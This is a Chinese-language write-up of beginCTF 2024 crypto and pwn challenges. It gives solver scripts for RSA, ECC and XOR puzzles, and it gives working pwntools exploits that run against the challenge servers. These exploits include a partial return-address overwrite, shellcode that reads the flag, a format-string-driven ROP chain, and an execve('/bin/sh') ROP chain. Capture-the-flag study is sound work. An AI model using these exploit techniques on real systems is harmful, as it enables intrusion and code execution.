[beginCTF 2024] crypto/pwn部分

这个比赛没从开始弄,也没弄到结束,中间有点事出去4天,回来后已经结束,而且也下不了附件,很遗憾。

虽然是新生赛,但也挺难,好些题都不会,仅把一部分作了的记下来,其它等等看谁能弄到附件。

 Crypto

PAD

有两个pad题,都是绕过,不需要技术解法,只要找到特殊值就行。

import random, math

from Crypto.Util.number import *
from flag import flag
flag=flag[:64]
assert len(flag) == 64

class RSA():
    def __init__(self, m: int):
        self.p, self.q, self.e, self.m = getPrime(512), getPrime(512), getRandomRange(1,8), m
        self.n = self.p * self.q
    def Publickey(self):
        return (self.n, self.e,self.c)
    def Encrypt(self):
        pad = PAD(m=self.m, e=0)
        pad.PAD()
        self.c = (pad.e,pow(pad.M, self.e, self.n))
class PAD():
    def __init__(self, m: int, e):
        self.e, self.m, self.mbits = e, m, m.bit_length()
        if e == 0:
            self.e = getRandomRange(2, 7)
    def PAD(self):
        self.M = pow(self.e, self.mbits) + pow(self.m, self.e)
GIFT = bytes_to_long(flag)
with open("GIFT.txt", "w") as f:
    for i in range(40):
        rsa = RSA(m=GIFT)
        rsa.Encrypt()
        f.write(str(rsa.Publickey()) + "\n")

他作了两回RSA加密,第1回用M = e2**mbits + m**e2 ,这其实并不是RSA,他并没有取模,可以直接开根号,如果e2小的话。第2步是M**e1 mod n是比较标准的RSA但从给出的GIFT来看,里边存在e1=1,e2=2的情况,当e1=1时第2步被跳过,第1步只需要开个平方即可。这里mbits需要猜一下,不过不是512就是511,也不大可能是别的。

'''
M = e2**mbits + m**e2 
c = M**e1 %n 
(n,e1,(e2,c))
'''
(n,e1,(e2,c)) = (105489743033600776618404736924014082773234739025040235918547880079849719971737127359304073614094075884043630513694448370483208184306027684643273284267932051217742004175757404293643624264846421545917186078199365762796141089940330731024030929168374696605389962930325106070659194496163327222019090112724836643593, 1, (2, 26557762379124264922132214420209728936796452559751033517820166259647971200493029434772959145551662395540203237914969022639479368547265045300822940244603592956901947131088363115332681941180989239355596363143445708865429254462912210194997411474244175252940834791770566886483490068164580622099300335891131365129))
m2 = c - 2**511
m = iroot(m2,2)[0]
long_to_bytes(m)
#b'begin{8E6C79D2-E960-C57A-F3E4-A52BC827ED6B_Dragon_Year_happy!!!}'

PAD_revenge

上一题的加强版,虽然去掉了1,2的情况但是1,3的情况还不少,直接crt即可

enc = [
(4205338792881421548510609645647062608905484696099258750943039118994520455106270839395319116980996505132271552239717225130972438536887110724158402296232289, 1, (3, 590242556810530557883636062945321456666605165279521102134969558150863508014273375308372904949297413593224978273122299933502842450872249868557340596692448)),
(7050174313884434729593139368893291621548368062755985279847850232740992709140864927641348128276777490337461431355020263819014375471971053422267553276559149, 1, (3, 2893746834891731849952475353675823291920101887211621827992533553019484178344684430992593454765874180526901317935813716254980891868014768672217101779002964)),
(7695312868320303154724182556869744062740975850081486948529306458791551745279043014584922518803724721857725624240269226703220670466322322864253572576548333, 1, (3, 4853546005581242275031566639028865993927807758919394191424484984623935750674499388240409403735193793296025751636464209778684176500380928091202873126090673))
]
#c2==c1
n = [i[0] for i in enc]
c = [i[2][1]-3**(64*8-1) for i in enc]
v = crt(c,n)
m = iroot(v,3)[0]
long_to_bytes(m)
b'begin{There_wonot_be_any_surprises_this_time230E03984617EEEEE13}'

fake_n

取15个小素数和p*q相乘作为fake_n真正的n是fake_n去掉pq的部分,说白点就是17个因子取15个作为n,因为都是小因子,可以直接分解,然后爆破C 17 15即可

from Crypto.Util.number import *
from secret import flag

def fakeN_list():
    puzzle_list = []

    for i in range(15):
        r = getPrime(32)
        puzzle_list.append(r)

    p = getPrime(32)
    q = getPrime(32)
    com = p*q

    puzzle_list.append(com)

    return puzzle_list

def encrypt(m,e,fake_n_list):

    fake_n = 1
    for i in range(len(fake_n_list)):
        fake_n *= fake_n_list[i]

    really_n = 1
    for i in range(len(fake_n_list)-1):
        really_n *= fake_n_list[i]

    c = pow(m,e,really_n)

    print("c =",c)
    print("fake_n =",fake_n)

if __name__ == '__main__':
    m = bytes_to_long(flag)
    e = 65537
    fake_n_list = fakeN_list()
    encrypt(m,e,fake_n_list)

#使用17个因子中的15个为n
c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902
fake_n = 178981104694777551556050210788105224912858808489844293395656882292972328450647023459180992923023126555636398409062602947287270007964052060975137318172446309766581
nlist = [2215221821, 2290486867, 2333428577, 2361589081, 2446301969,
 2507934301, 2590663067, 3107210929, 3278987191, 3389689241,
 3417707929, 3429664037, 3716624207, 3859354699, 3965529989,
 4098704749, 4267348123]

for i in range(len(nlist)-1):
    for j in range(i+1,len(nlist)):
        phi = 1 
        n = fake_n // nlist[i] // nlist[j]
        for k in range(len(nlist)):
            if k!=i and k!=j:
                phi *= nlist[k]-1
        m = pow(c, inverse_mod(65537,phi),n)
        m = long_to_bytes(int(m))
        if b'begin' in m:
            print(m)

#b'begin{y0u_f1nd_th3_re4l_n}'

baby_classic

未完成

从题目上看就是一个矩阵乘和一个减两个密钥,

C = M*key1 + key2

给了demo可以爆破这两个密钥,但是key2是29**6这个有点大,似乎爆破不出来。不清楚别人怎么弄的。有时间搜搜

from random import *
from string import *
import numpy as np
from secret import plaintext

ls = ascii_uppercase + '_.*'

def generate_str(length):
    s = ""
    for i in range(length):
        s += choice(ls)
    return s

def str2mat(s):
    res = np.zeros((len(s) // 6, 6),dtype=int)
    for i in range(0,len(s)):
        res[i // 6, i % 6] = ls.index(s[i])
    return res

def mat2str(mat):
    s = ""
    for i in range(len(mat) * 6):
        s += ls[mat[i // 6, i % 6]]
    return s

def encrypt(plaintext,key1,key2):
    mat_plaintext = str2mat(plaintext)
    mat_key1 = str2mat(key1)
    mat_key2 = str2mat(key2)

    enc_matrix = np.dot(mat_plaintext,mat_key1) % 29
    for i in range(len(enc_matrix)):
        for j in range(len(enc_matrix[i])):
            enc_matrix[i][j] = (enc_matrix[i][j] + mat_key2[0][j]) % 29

    return mat2str(enc_matrix)

if __name__ == "__main__":

    assert len(plaintext) == 72
    m = generate_str(48)
    key1 = generate_str(36)
    key2 = generate_str(6)
    c = encrypt(m, key1, key2)
    ciphertext = encrypt(plaintext, key1, key2)

    '''
    flag = "begin{" + hashlib.md5(plaintext.encode()).hexdigest() + "}"
    '''

    print(f"m = {m}")
    print(f"c = {c}")
    print(f"ciphertext = {ciphertext}")


'''
output:
m = VOWAS*TED.AE_UMLVFV*W*HSSSTZIZZZDAKCLXZKM_E*VR*Y
c = QLOKQGUWMUTGZSDINCQVIVOLISFB_FC.IC_OSPLOBGOVSCZY
ciphertext = MHDTBJSZXLHH.Z.VWGLXUV.SDQUPAMEPNVQVQZX_CBDZHM_IBZRGLJP_YSBDXN.VACLDGCO_
'''

hard_ECC

一道ECC的入门题,除了给的是5参的曲线外,没有特殊之处,不过5参跟2参没什么区别。直接用PH方法

from flag import flag

A = [0,
     3,
     0,
     973467756888603754244984534697613606855346504624,
     864199516181393560796053875706729531134503137794]
p = 992366950031561379255380016673152446250935173367
ec = EllipticCurve(GF(p), [A[0], A[1], A[2], A[3], A[4]])
T = ec.random_point()
secret = int.from_bytes(flag, 'little')
Q = T * secret
print(T, Q)
# (295622334572794306408950267006569138184895225554 : 739097242015870070426694048559637981600496920065 : 1)
# (282367703408904350779510132139045982196580800466 : 411950462764902930006129702137150443195710071159 : 1)
E = EllipticCurve(GF(p), [A[0], A[1], A[2], A[3], A[4]])

G = E(295622334572794306408950267006569138184895225554,739097242015870070426694048559637981600496920065)
mG = E(282367703408904350779510132139045982196580800466,411950462764902930006129702137150443195710071159)

def PohligHellman(P,Q):
    E = P.curve()
    factors, exponents = zip(*factor(E.order()))
    primes = [factors[i] ^ exponents[i] for i in range(len(factors))]    
    
    dlogs = []
    for fac in primes:
        t = int(int(P.order()) // int(fac))
        dlog = discrete_log(t*Q,t*P,operation="+")
        dlogs += [dlog]
        #print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order
    
    print(dlogs, primes) #当l<m时不太多时,需要加模prod(primes)爆破
    l = crt(dlogs,primes)
    return l

m = PohligHellman(G,mG)
#m = 10910607047283133319639527186723699874555234
long_to_bytes(m)[::-1]
#b'begin{it_is_hard?}'

OEIS2

去年的强网杯上有一题是求2^27!的数字和,这个可以爆破也可以查表,正解是查表。今天这个题用的是2^28+5由于多了个加5所以查不了表了。记得有一个博客说了个通过A*B来求乘后的数字和,不过当时没看懂,现在又找不到了。如果爆破的话需要大内存和长时间。没作。

baph

先base64再大小写互换,然后异或key(12字节,96/8),也就是MTP,猜即可。本身头已经很长了,第2段的ratulation还是比较明显的。

from base64 import b64encode
from Crypto.Util.number import *
from string import ascii_letters
from secrets import flag

ls = ascii_letters + '!,.? {}' + '01232456789'
assert all([i in ls for i in flag])
ba = b64encode(flag.encode())
baph, key = '', ''

for b in ba.decode():
	if b.islower():
		baph += b.upper()
		key += '0'
	else:
		baph += b.lower()
		key += '1'

baph = baph.encode()
key = long_to_bytes(int(key, 2))
enc = b''
for i in range(len(baph)):
	enc += long_to_bytes(baph[i] ^ key[i % len(key)])
f = open('flag.enc', 'wb')
f.write(enc)
f.close()


enc = 'f72e1c66945c11828c1c9b61ce2e221eaa181dae8a49e279cf2d2966871c20a1bb1c977bf71b367eac1833bca749d81bce041c78ad5d09d4b45dcc67c90b3666975d11bca749c067cf2a2667941c27aab463d463f450367eaa2230aea75dc816'
enc = 'f72e1c66945c11828c1c9b61ce2e221eaa181dae8a49e279cf2d2966871c20a1bb1c977bf71b367eac1833bca749d81bce041c78ad5d09d4b45dcc67c90b3666975d11bca749c067cf2a2667941c27aab463d463f450367eaa2230aea75dc816'
enc = bytes.fromhex(enc)

b64code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ls = ascii_letters + '!,.? {}' + '01232456789'
f = 'flag{C'
k = '100011010110'

for v in ls:
    head = b64encode((f+v)[:-3].encode()).decode()
    head = ''.join([i.upper() if i.islower() else i.lower() for i in head]).encode()
    key = xor(enc[:12], head.ljust(12,b'\x00'))
    tmp = xor(enc,key).decode()
    tmp = ''.join([i.upper() if i.islower() else i.lower() for i in tmp])
    tmp = [tmp[i:i+12] for i in range(0,96,12)]
    for row in tmp:
        if not all([1 if i in b64code else 0 for i in row[:9]]):
            break
    else:
        print(v,b' '.join([b64decode(row[:9]) for row in tmp]))


a = b64encode(b'ratulatio')
#b'cmF0dWxhdGlv'
b = b'CMf0DwXHDgLV'
key = xor(b, enc[12:24])
#b'\x8dcD.\xeeoE\xe6\xce.\xae/'
c = xor(enc,key).decode()
#'zMXHz3TdB25NCMf0DwXHDgLVBNmHiseGu29TzxrPBwvZigv4CgXVC2L2zsbHDhrHy2TZignHBIbIzsbLzMzLy3rPDMuHisf9'
d = ''.join([v.upper() if v.islower() else v.lower() for v in c])
#'ZmxhZ3tDb25ncmF0dWxhdGlvbnMhISEgU29tZXRpbWVzIGV4cGxvc2l2ZSBhdHRhY2tzIGNhbiBiZSBlZmZlY3RpdmUhISF9'
b64decode(d)
#b'flag{Congratulations!!! Sometimes explosive attacks can be effective!!!}'        

'''
flag{
ratu
ns!!
etim
plos
ttac
n be 
ctiv

zMXHz3\x00\x00\x00\x00\x00\x00
CMf0Dw\x0c,\x06Uy\x18
BNmHis1#7\x00\x0c\x1a
zxrPBw">+UCz
CgXVC2\x18V8AW\x06
DhrHy2\x00>+U[\x06
BIbIzs6(8\x7fO\x02
y3rPDM!,+ASw
'''

ezcry

感觉可以解,不过似乎第1步的运算量大了点

# sage
from random import randint
inti_Con = [0x39a3f978106bac2d,0x2940e055f4a33725,0xfda9a7a293fb5bc9]
Con = [
    [0x9c52c2de7a9373c4,0xf2135cb886d0fa21,0x957df7f3cd4879e9],
    [0xd54f837d2738d717,0x400ddf1ffaae436d,0xc2abb601d9a26b07],
    [0x1904359f1deb3495,0xc21aa09ba52b157b,0x3d45525db1b19a0c],
    [0xed66cf26a65afc73,0x1cee569b29ffa476,0x3da45abf4304849 ]
]    

C = [
    [8  , -14, 7  ],
    [56 , -90, 35 ],
    [280, -434, 155]
]

p = 18446744073709551557
n = 12297829382473034371  #invert(-3,p)

def f(P:list, p:int, R:int, state = 0):
    X = [0 for i in range(3)]
    Y = [0 for i in range(3)]
    # 第一轮前加常数
    for i in range(3):
        X[i] = (P[i] + inti_Con[i]) % p
    # R轮轮常数迭代
    for r in range(1,R+1):
        for k in range(3):
            Y[k] = (C[k][0] * pow(X[0], 3, p) + C[k][1] * pow(X[1], n, p) + C[k][2] * pow(X[2], 3, p) + Con[(2*r-2) % 10][k]) % p
        for k in range(3):
            X[k] = (C[k][0] * pow(Y[0], n, p) + C[k][1] * pow(Y[1], 3, p) + C[k][2] * pow(Y[2], n, p) + Con[(2*r-1) % 10][k]) % p
    if state :
        return Y        
    else:
        return X

P = [randint(1,p), randint(1,p), 0] 
assert f(P, p, 2, 0)[2] == 0
assert f(P, p, 1, 1)[1] == 1 
flag = 'flag{' + str(P[0]) + str(P[1]) + '}'
print()

我玩清水的

c = x^2 mod p 

可以直接开根号

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
e = 2
p = getPrime(512)
c = pow(m, e, p)

print(f"p = {p}")
print(f"c = {c}")

e = 2
p = 7709388356791362098686964537734555579863438117190798798028727762878684782880904322549856912344789781854618283939002621383390230228555920884200579836394161
c = 5573755468949553624452023926839820294500672937008992680281196534187840615851844091682946567434189657243627735469507175898662317628420037437385814152733456
P.<x> = PolynomialRing(GF(p))
f = x^2 - c
m = f.roots()
'''
[(7709388356791362098686964537734555579863438117190798798028727762878684779964170612246233267488611287153408070230284965066669554779084616007946141375414580,
  1),
 (2916733710303623644856178494701210213708717656316720675449471304876254438460979581,
  1)]
'''
long_to_bytes(int(m[0][0]))
b'\x932\xb4\x90\x88\x89X\t\xa4M\xaeUcK\xf0wH\xd5\xc1h\x11\xcc\n*\xecy\x17\xb3\x8dZI\xc9\x80<|\xffxF|\n\xfc\x90\xf0h\xb2\x13{E1o(\xeb&\x99\x7f\xac\xb0\xa0V%F$A4'
long_to_bytes(int(m[1][0]))
b'begin{quadr4ticresidue_i5_s0_3asy}'

begin_rsa

最后回到rsa上,爆破pq的问题

from Crypto.Util.number import *
from gmpy2 import *
from secret import flag
m = bytes_to_long(flag)

while True:
    e = 65537
    p1 = getPrime(512)
    q1 = getPrime(512)
    n1 = p1 * q1
    p1_xor_q1_low = (p1 ^ q1) & ((1 << 402) - 1)
    if p1_xor_q1_low >= 10**121 and p1_xor_q1_low <= 10**122 - 1:
        p2 = next_prime(p1_xor_q1_low)
        q2 = int(str(p2)[61:] + str(p2)[:61])
        n2 = p2 * q2
        if isPrime(p2) and isPrime(q2):
            delta = p2 - p1_xor_q1_low
            c = pow(m, e, n1)
            print(f"delta = {delta}")
            print(f"n1 = {n1}")
            print(f"n2 = {n2}")
            print(f"c = {c}")
            break

'''
delta = 61
n1 = 150838784531830142890659431841610000561921043629625618437510373123377520444955469509903631548754842609295975005302780725591929018884805452687677684641162979092069629817740554095750189248769936750051172301891394503776919559958638203717583333429953061416588208428893436430392654983424277005324307321992921302331
n2 = 102603788692700558034198259394482879736866145355211103067657972779629890324418113112441175321034955422723378003769267804892308121194871227786783930178021669484220789624643889449429959522560822967157677629720685465873700893389751397027159036419
c = 100199300622156732994823007073822662584719346985430234367094043002848132740563819931486477742264272832060136969084318984512567787814048659200236334994498141562184235841854521058494238451300610422156322926341430748222140189349893444976932184031798101999886029853099171189139509539715437105818418407563733036131
'''

第2部分爆破p2,q2,其中 q2 = int(str(p2)[61:]+str(p2)[:61])就是10进制前后两半交换。

前后两半写作a,b,列成竖式可以得到a*b的高位(可以有进位需要减掉0-2)和低位,把n的头和尾组合后得到a*b的值(可能中间需要减进位,本题恰好没有进位)然后分解爆破a,b

         a   b
    *    b   a
-----------------
        abh abl
    aah aal
    bbh bbl
abh abl

n[:60] n[60:121] ... n[-61:]
delta = 61
n1 = 150838784531830142890659431841610000561921043629625618437510373123377520444955469509903631548754842609295975005302780725591929018884805452687677684641162979092069629817740554095750189248769936750051172301891394503776919559958638203717583333429953061416588208428893436430392654983424277005324307321992921302331
n2 = 102603788692700558034198259394482879736866145355211103067657972779629890324418113112441175321034955422723378003769267804892308121194871227786783930178021669484220789624643889449429959522560822967157677629720685465873700893389751397027159036419
c = 100199300622156732994823007073822662584719346985430234367094043002848132740563819931486477742264272832060136969084318984512567787814048659200236334994498141562184235841854521058494238451300610422156322926341430748222140189349893444976932184031798101999886029853099171189139509539715437105818418407563733036131

#q2 = int(str(p2)[61:]+str(p2)[:61])
#str(p2) 122
from Crypto.Util.number import *
sn = str(n2)
abh,abl = sn[:60],sn[-61:]

tn = int(str(int(abh)-0)+abl)
divs = divisors(tn)
for p in divs:
    q = tn//p 
    if len(str(p))<=61 and len(str(q))<=61:
        tp = int(str(p)+str(q).rjust(61,'0'))
        if n2%tp == 0:
            print(tp)
            break 

p2 = 10046182803426524264884288617724249912105444610090073402734131021321139584526984358095762482718044064584704548733703637863
q2 = 10213211395845269843580957624827180440645847045487337036378631004618280342652426488428861772424991210544461009007340273413

第2步给了 delta直接爆破p^q

#delta = p2 - p1_xor_q1_low
p1_xor_ql_low = p2 - 61
gift = p2-61
N = n1 

def findp(p):
    l=len(p)
    if l==402:
        plist.append(int(p,2))
    else:
        pp=int(p,2)
        qq=(gift^^pp)%2**l
        if pp*qq%2**l==N%2**l:
            findp('1'+p)
            findp('0'+p)

plist=[]
findp('1')

for i in range(len(plist)):
    PR.<x> = PolynomialRing(Zmod(N))
    f = x*2^402 + plist[i]
    f = f.monic()
    r = f.small_roots(X=2^110, beta=0.4)
    if r:
        p = int(plist[i]+r[0]* 2^402)
        if N%p == 0:
            print(p)
            break

p = 12135966078266804192771202403509952240758355261310452876061843129043333376845404452930133847901957978222586842893552580526457286703216006899609920950213431
q = N//p 
m = pow(c, inverse_mod(65537,(p-1)*(q-1)),N)
flag = long_to_bytes(int(m))
#b'begin{just_the_beginning_of_the_RSA}'

PWN

one_byte

题目名字打开flag并输出1字节,这题恰能溢出1字节,覆盖到返回地址,将返回地址改为循环,每次从3读入1字节(新打开的不使用,只用3读则每次向后读1字节)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[8]; // [rsp+7h] [rbp-9h] BYREF
  char buf; // [rsp+Fh] [rbp-1h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Welcome to beginctf!");
  open("flag", 0);
  read(3, &buf, 1uLL);
  printf("Here is your gift: %c\n", (unsigned int)buf);
  puts("Are you satisfied with the result?");
  read(0, v4, 0x12uLL);
  return 0;
}
from pwn import *

context(arch='amd64', log_level='debug')
#p = process('./one_byte')
p = remote('101.32.220.189', 31431)

flag = b''
for i in range(80):
    p.recvuntil(b"Here is your gift: ")
    flag += p.recv(1)
    p.sendafter(b"Are you satisfied with the result?\n", b'\x00'*0x11 + b'\x4c')
    print(flag)

#begin{oNe_8yT3_C0Uld_chAN6E_Th3_par7IAL_0verWR1T3_32705e5f93cb}

mini_email 未完成

unhappy

读入shellcode然后执行,但需要检查没有hapy,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+10h] [rbp-10h]

  addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    perror("mmap failed");
    return 1;
  }
  else
  {
    read(0, addr, 0x100uLL);
    check((__int64)addr);
    ((void (*)(void))addr)();
    if ( munmap(addr, 0x1000uLL) == -1 )
    {
      perror("munmap failed");
      return 1;
    }
    else
    {
      return 0;
    }
  }
}

通过很短的read来绕过检查再读入shellcode

from pwn import *

context(arch='amd64', log_level='debug')
#p = process('./unhappy')
p = remote('101.32.220.189', 30492)

p.send(asm(shellcraft.read(0,0xfff00000,0x200)).ljust(0x100, b'\x00'))

p.send(b'\x90'*0x20 + asm(shellcraft.open('flag')+shellcraft.read(3,0xfff00300,0x100)+shellcraft.write(1,0xfff00300,0x100)))

p.interactive()

aladdin

格式化字符串,不在栈内,并且可绕过的限制了运行3次。

  prctl(38, 1LL, 0LL, 0LL, 0LL);
  prctl(22, 2LL, &v4);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Aladdin's lamp will grant you three wishes");
  while ( --chance )
  {
    printf("your %d wish:\n", (unsigned int)chance);
    memset(wish, 0, sizeof(wish));
    read(0, wish, 0x100uLL);
    if ( strstr(wish, "one more wish") )
    {
      puts("no way!");
      break;
    }
    printf(wish);
  }
  printf("The wonderful lamp is broken");
  return 0;

先利用19->49->17这个链清chance,再36->49->printfret这个链,跳过while检查,直接减1后运行,,得到负数便能得到无限次操作,然后写ORW,最后在返回地址写ppp4跳过链执行ORW

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./aladdin')

#p = process('./aladdin')
p = remote('101.32.220.189', 31573)

#gdb.attach(p, "b*0x555555555425\nc")

#p.sendafter(b":\n", "".join([f"%{i}$p\n" for i in range(15,53)]).encode())

#1,leak
p.sendafter(b":\n", f"%19$p %17$p %15$p %49$p %51$p".encode())
stack = int(p.recvuntil(b' '),16) - 0x100
elf.address = int(p.recvuntil(b' '), 16) - 0x1229
chance = elf.sym['chance']
pop_rbp = elf.address + 0x1213
leave_ret = elf.address + 0x1425

libc.address = int(p.recvuntil(b' '), 16) - 0x29d90
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000796a2 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
ppp6 = libc.address + 0x0000000000126ae0 # pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
ppp4 = libc.address + 0x000000000002a3de # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
syscall = libc.sym['getpid'] + 9

print(f"{libc.address = :x} {elf.address = :x} {stack = :x}")

#2, 36->51->printfret 19->49->17
#printf -> next chance=-1
printf_ret = stack - 0x60
p.sendafter(b":\n", f"%{printf_ret&0xffff}c%36$hn%{0x60}c%19$hn".encode())

#3, 17->dance
p.sendafter(b":\n", f"%{0x4a}c%52$hhn%{(chance-0x4a)&0xffff}c%49$hn".encode())

#4,
p.sendafter(b":\n", f"%256c%17$hhn".encode())

#19->49->rbp,ret
p.sendafter(b":\n", f"%{(stack-0x18)&0xff}c%19$hhn".encode())

#rbp,ret = wish+0x10,leave_ret
for i,v in enumerate(p64(elf.sym['wish']+0x10)[:6]):
    p.sendafter(b":\n", f"%{(stack-0x18+i)&0xff}c%19$hhn".encode())
    p.sendafter(b":\n", f"%{v}c%49$hhn".encode())

for i,v in enumerate(p64(leave_ret)[:6]):
    p.sendafter(b":\n", f"%{(stack-0x10+i)&0xff}c%19$hhn".encode())
    p.sendafter(b":\n", f"%{v}c%49$hhn".encode())

pay  = b'one more wish'.ljust(0x10, b'\x00') + b'/flag'.ljust(8, b'\x00')
pay += flat([pop_rdi,elf.sym['wish']+0x10, pop_rsi,0, pop_rax,2, syscall,
             pop_rdi,3,pop_rsi,elf.sym['wish']+0x100,pop_rdx,0x50, pop_rax,0, syscall,
             pop_rdi,1,pop_rax,1,syscall
])
p.sendafter(b":\n", pay)

p.interactive()

第1个链的远程和本地位置差1

ezheap 未完成

gift_rop

栈溢出题,加了close(1)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("Welcome to beginCTF!");
  puts("This is a fake(real) checkin problem.");
  read(0LL, v4, 512LL);
  close(1LL);
  close(2LL);
  return 0;
}
from pwn import *

context(arch='amd64', log_level='debug')
#p = process('./gift_rop')
p = remote('101.32.220.189', 32398)

#gdb.attach(p, "b*0x401887\nc")

bin_sh  = 0x4c50f0
syscall = 0x4149c6 #syscall;ret
pop_rdi = 0x0000000000401f2f # pop rdi ; ret
pop_rsi = 0x0000000000409f9e # pop rsi ; ret
pop_rdx = 0x000000000047f20b # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000448077 # pop rax ; ret
pop_rsp = 0x000000000040238e # pop rsp ; ret

pay = b'\x00'*0x28 + flat(pop_rdi, bin_sh, pop_rsi, 0x4c5000, pop_rdx,0x4c5000,0, pop_rax, 59, syscall)
p.sendafter(b"This is a fake(real) checkin problem.\n", pay)

sleep(0.2)
p.sendline(b"exec 1>&0")
p.sendline(b"cat flag")
p.interactive()

no_money

格式化字符串泄露,并限制了$

这题不得不重新复习格式化字符串漏洞。在格式化时%作为标记后边的参数 n$(注意是n$)表示取第几个参数为指针,后边hhn是写的字节数。所以当没有$时,其实也可以直接用%p%p...来累加到使用的指针

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to beginCTF again!");
  puts("I'm sorry to tell you that We don't have the funds.");
  puts("So I will not give you $.");
  while ( 1 )
  {
    puts("Your payload:");
    read(0, buf, 0x100uLL);
    for ( i = 0; i <= 255; ++i )
    {
      if ( buf[i] == '$' )
        exit(-1);
    }
    printf(buf);
    check_target();
  }
}

ezpwn 未完成

后边还有题出来的晚。没看到

  • 29
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值